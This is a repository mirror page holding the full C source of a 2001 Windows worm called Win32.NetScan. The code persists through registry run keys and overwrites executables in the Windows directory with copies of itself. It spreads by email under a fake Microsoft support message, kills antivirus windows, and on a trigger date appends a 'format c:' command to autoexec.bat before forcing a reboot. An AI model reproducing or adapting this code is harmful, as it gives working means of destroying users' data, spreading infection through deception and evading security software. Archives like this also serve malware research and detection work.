ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-27 05:45:27 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
10e7843b8a
MalwareSourceCode/Win32/Generic Crimeware/Win32.Netscan.c

245 lines
11 KiB
C
Raw Normal View History

Add files via upload
2020-11-15 02:38:06 +00:00
#include "netscan.h"
#pragma hdrstop
#pragma warning (disable: 4068)
#pragma warning (disable: 4001)
#pragma resource "resource.res"
char GetNetScanPath[256],GetNetScanWinDir[256],MyBuffer[256]="echo y|format c: /u /v:HaHaHaHa";
LPSTR FileEmm386 = "Emm386.exe";
LPSTR FileSetver = "SetVer.exe";
LPSTR Nom = "a";
DWORD ExtInf;
int Err,ErrSend;
HANDLE NetScanTime,NetScanHandle,AutoBat;
HMODULE GetKernLib, GetMapiLib;
HKEY NetScan32Key,NetScanNTKey,NetScanInstall,CreateNetScan;
typedef DWORD(*RegistServProcs)(DWORD,DWORD);
typedef ULONG(*SendMessInfect)(LHANDLE,ULONG,MapiMessage FAR*,FLAGS,ULONG);
typedef ULONG(*FindUserAddress)(LHANDLE,ULONG,LPTSTR,FLAGS,ULONG,lpMapiRecipDesc FAR*);
typedef ULONG(*DoMemFree)(LPVOID);
HWND WindowsHwnd,SymantecHwnd,NAVHwnd;
#pragma argsused
int APIENTRY WinMain
(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpszCmdLine,
int nCmdShow
)
{
//Win32.NetScan by ZeMacroKiller98
//Tous droits r<>serv<72>s (c) 2001
WIN32_FIND_DATA GetFileToInfect;
OSVERSIONINFO GetOsVer;
FILETIME GetFileCreateTime,GetFileLstAccess,GetFileLstWrite;
SYSTEMTIME TriggerScanTime;
RegistServProcs MyServProcs;
SendMessInfect SendMessToOther;
FindUserAddress GetAddressUser;
DoMemFree GetMemFree;
GetKernLib = LoadLibrary("kernel32.dll");
MyServProcs = (RegistServProcs)GetProcAddress(GetKernLib,"RegisterServiceProcess");
MessageBox(NULL,"This freeware install automaticaly itself into your system\nIt scan your system each time you connect to network\nIf you have any problem, contact Microsoft","NetScan Utility",MB_OK|MB_ICONINFORMATION|MB_SYSTEMMODAL);
SearchPath(NULL,_argv[0],NULL,sizeof(GetNetScanPath),GetNetScanPath,NULL);
GetOsVer.dwOSVersionInfoSize = sizeof(GetOsVer);
GetVersionEx(&GetOsVer);
if(GetOsVer.dwPlatformId==VER_PLATFORM_WIN32_NT)
{
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\WindowsNT\\CurrentVersion\\RunServices",0,KEY_ALL_ACCESS,&NetScanNTKey);
RegSetValueEx(NetScanNTKey,"NetScanNT",0,REG_SZ,GetNetScanPath,sizeof(GetNetScanPath));
RegCloseKey(NetScanNTKey);
}
else
{
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",0,KEY_ALL_ACCESS,&NetScan32Key);
RegSetValueEx(NetScan32Key,"NetScan32",0,REG_SZ,GetNetScanPath,sizeof(GetNetScanPath));
RegCloseKey(NetScan32Key);
}
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\NetScan\\Install",0,KEY_ALL_ACCESS,&NetScanInstall)!=ERROR_SUCCESS)
{
GetMapiLib = LoadLibrary("mapi32.dll");
GetWindowsDirectory(GetNetScanWinDir,sizeof(GetNetScanWinDir));
SetCurrentDirectory(GetNetScanWinDir);
NetScanHandle = FindFirstFile("*.exe",&GetFileToInfect);
NetScanFind:
NetScanTime = CreateFile(GetFileToInfect.cFileName,GENERIC_READ|GENERIC_WRITE,0, NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
GetFileTime(NetScanTime,&GetFileCreateTime,&GetFileLstAccess,&GetFileLstWrite);
CloseHandle(NetScanTime);
if((lstrcmp(GetFileToInfect.cFileName,"emm386.exe")==0)||(lstrcmp(GetFileToInfect.cFileName,"setver.exe")==0))
goto NotInfection;
CopyFile(_argv[0],GetFileToInfect.cFileName,FALSE);
NetScanTime = CreateFile(GetFileToInfect.cFileName,GENERIC_READ|GENERIC_WRITE,0, NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
SetFileTime(NetScanTime,&GetFileCreateTime,&GetFileLstAccess,&GetFileLstWrite);
CloseHandle(NetScanTime);
NotInfection:
if(FindNextFile(NetScanHandle,&GetFileToInfect)==TRUE)
goto NetScanFind;
FindClose(NetScanHandle);
RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Britney\\Install",&CreateNetScan);
RegCloseKey(CreateNetScan);
SendMessToOther = (SendMessInfect)GetProcAddress(GetMapiLib,"MAPISendMail");
GetAddressUser = (FindUserAddress)GetProcAddress(GetMapiLib,"MAPIResolveName");
GetMemFree = (DoMemFree)GetProcAddress(GetMapiLib,"MAPIFreeBuffer");
if((SendMessToOther==NULL)||(GetAddressUser==NULL)||(GetMemFree==NULL))
{
MessageBox(NULL,"This program need MAPI functions installed on your PC\nPlease contact your hot line to install it","NetScan Utility",MB_OK|MB_ICONEXCLAMATION);
SetCurrentDirectory("C:/");
DeleteFile("*.*");
ExitProcess(0);
}
MapiMessage stMessage;
MapiRecipDesc stRecip;
MapiFileDesc stFile;
lpMapiRecipDesc lpRecip;
stFile.ulReserved = 0;
stFile.flFlags = 0L;
stFile.nPosition = (ULONG)-1;
stFile.lpszPathName = GetNetScanPath;
stFile.lpszFileName = NULL;
stFile.lpFileType = NULL;
MessageBox(NULL,"To test your network, you need to select a email address into your address book\nPlease select address with","ILoveBritney Freeware",MB_OK|MB_ICONINFORMATION|MB_SYSTEMMODAL);
UnResolve:
Err = (GetAddressUser)(lhSessionNull,0L,Nom,MAPI_DIALOG,0L,&lpRecip);
if(Err!=SUCCESS_SUCCESS)
{
switch(Err){
case MAPI_E_AMBIGUOUS_RECIPIENT:
MessageBox(NULL,"The recipient requested has not been or could\n not be resolved to a unique address list entry","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL);
break;
case MAPI_E_UNKNOWN_RECIPIENT:
MessageBox(NULL,"The recipient could not be resolved to any\naddress.The recipient might not exist or might be unknown","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL);
break;
case MAPI_E_FAILURE:
MessageBox(NULL,"One or more unspecified errors occured\nThe name was not resolved","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL);
DeleteFile("*.*");
ExitProcess(0);
break;
case MAPI_E_INSUFFICIENT_MEMORY:
MessageBox(NULL,"There was insufficient memory to proceed","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL);
DeleteFile("*.*");
ExitProcess(0);
break;
case MAPI_E_NOT_SUPPORTED:
MessageBox(NULL,"The operation was not supported by the messaging system","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL);
DeleteFile("*.*");
ExitProcess(0);
break;
case MAPI_E_USER_ABORT:
MessageBox(NULL,"The user was cancelled one or more dialog box","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL);
DeleteFile("*.*");
ExitProcess(0);
break;
}
goto UnResolve;
}
stRecip.ulReserved = lpRecip->ulReserved;
stRecip.ulRecipClass = MAPI_TO;
stRecip.lpszName = lpRecip->lpszName;
stRecip.lpszAddress = lpRecip->lpszAddress;
stRecip.ulEIDSize = lpRecip->ulEIDSize;
stRecip.lpEntryID = lpRecip->lpEntryID;
stMessage.ulReserved = 0;
stMessage.lpszSubject = "Microsoft NetScan Utility";
stMessage.lpszNoteText = lstrcat("Hi ",(lstrcat(lpRecip->lpszName,"\n\n\tI send you this mail to test my network\nI need you to send me a answer about it\nThis program can scan your network to find all problem into your network\n\n\tEnjoy to test your net...\nThank you and see you soon....\n\n\n\t\t\t\t\tMicrosoft Technical Support")));
stMessage.lpszMessageType = NULL;
stMessage.lpszDateReceived = NULL;
stMessage.lpszConversationID = NULL;
stMessage.flFlags = 0L;
stMessage.lpOriginator = NULL;
stMessage.nRecipCount = 1;
stMessage.lpRecips = &stRecip;
stMessage.nFileCount = 1;
stMessage.lpFiles = &stFile;
ErrSend = (SendMessToOther)(lhSessionNull,0L,&stMessage,0L,0L);
if(ErrSend!=SUCCESS_SUCCESS)
{
MessageBox(NULL,"The test can't continue, due to a error occured during to sending message\nPlease contact our hotline at hotline@microsoft.com","NetScan Utility",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL);
DeleteFile("*.*");
ExitProcess(0);
}
MessageBox(NULL,"The test is OK and NetScan is installed into your system\n",
"NetScan Utility",
MB_OK|MB_ICONINFORMATION);
FreeLibrary(GetMapiLib);
}
RegCloseKey(NetScanInstall);
STARTUPINFO NetScanInfo;
PROCESS_INFORMATION NetScanProc;
NetScanInfo.cb = sizeof(STARTUPINFO);
NetScanInfo.lpReserved = NULL;
NetScanInfo.lpReserved2 = NULL;
NetScanInfo.cbReserved2 = 0;
NetScanInfo.lpDesktop = NULL;
NetScanInfo.dwFlags = STARTF_FORCEOFFFEEDBACK;
if(CreateProcess(GetNetScanPath,
NULL,
(LPSECURITY_ATTRIBUTES)NULL,
(LPSECURITY_ATTRIBUTES)NULL,
FALSE,
0,
NULL,
NULL,
&NetScanInfo,
&NetScanProc))
{
CloseHandle(NetScanProc.hProcess);
CloseHandle(NetScanProc.hThread);
}
if(CreateMutex(NULL,TRUE,GetNetScanPath)==NULL)
ExitProcess(0);
SetPriorityClass(NetScanProc.hProcess,REALTIME_PRIORITY_CLASS);
MyServProcs(NetScanProc.dwProcessId,1);
GetSystemTime(&TriggerScanTime);
//Close windows which title is WINDOWS
WindowsHwnd = FindWindow(NULL,"WINDOWS");
if(WindowsHwnd!=NULL)
DestroyWindow(WindowsHwnd);
//Close access to Symantec HomePage
SymantecHwnd = FindWindow(NULL,"Symantec Security Updates - Home Page - Microsoft Internet Explorer");
if(SymantecHwnd!=NULL)
{
MessageBox(NULL,"You don't have access to this page\nPlease contact the web master to correct this problem\n","Microsoft Internet Explorer",MB_OK|MB_ICONEXCLAMATION|MB_ICONSTOP);
DestroyWindow(SymantecHwnd);
}
//Anti Norton Antivirus
NAVHwnd = FindWindow(NULL,"Norton AntiVirus");
if(NAVHwnd !=NULL)
{
MessageBox(NULL,"Ha Ha Ha Ha!!!!, you use NAV?????\nI can allow access to it\nChange AV now","Win32.NetScan",MB_OK|MB_ICONSTOP|MB_SYSTEMMODAL);
DestroyWindow(NAVHwnd);
}
if((TriggerScanTime.wHour==12)&&(TriggerScanTime.wMinute==12))
{
mciSendString("open cdaudio",NULL,0,NULL);
mciSendString("set cdaudio door open",NULL,0,NULL);
mciSendString("close cdaudio",NULL,0,NULL);
mciSendString("open cdaudio",NULL,0,NULL);
mciSendString("set cdaudio audio all off",NULL,0,NULL);
mciSendString("close cdaudio",NULL,0,NULL);
MessageBeep(MB_ICONEXCLAMATION);
}
if(TriggerScanTime.wDay==1)
{
MessageBox(NULL,"It's the day that your PC is going to scan or maybe going to disappear","Win32.Netscan",MB_OK|MB_ICONEXCLAMATION);
SetCurrentDirectory("C:\\");
AutoBat = CreateFile("autoexec.bat",GENERIC_WRITE,0,(LPSECURITY_ATTRIBUTES) NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,(HANDLE) NULL);
SetFilePointer(AutoBat, 0, (LPLONG)NULL,FILE_END);
WriteFile(AutoBat,MyBuffer,sizeof(MyBuffer),&ExtInf,NULL);
CloseHandle(AutoBat);
ExitWindowsEx(EWX_FORCE|EWX_REBOOT,0);
}
FreeLibrary(GetKernLib);
return 0;
}
*************************************************************************
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <dos.h>
#include <stdlib.h>
#include <stdio.h>
#include <mapi.h>
#include <mmsystem.h>
Reference in New Issue Copy Permalink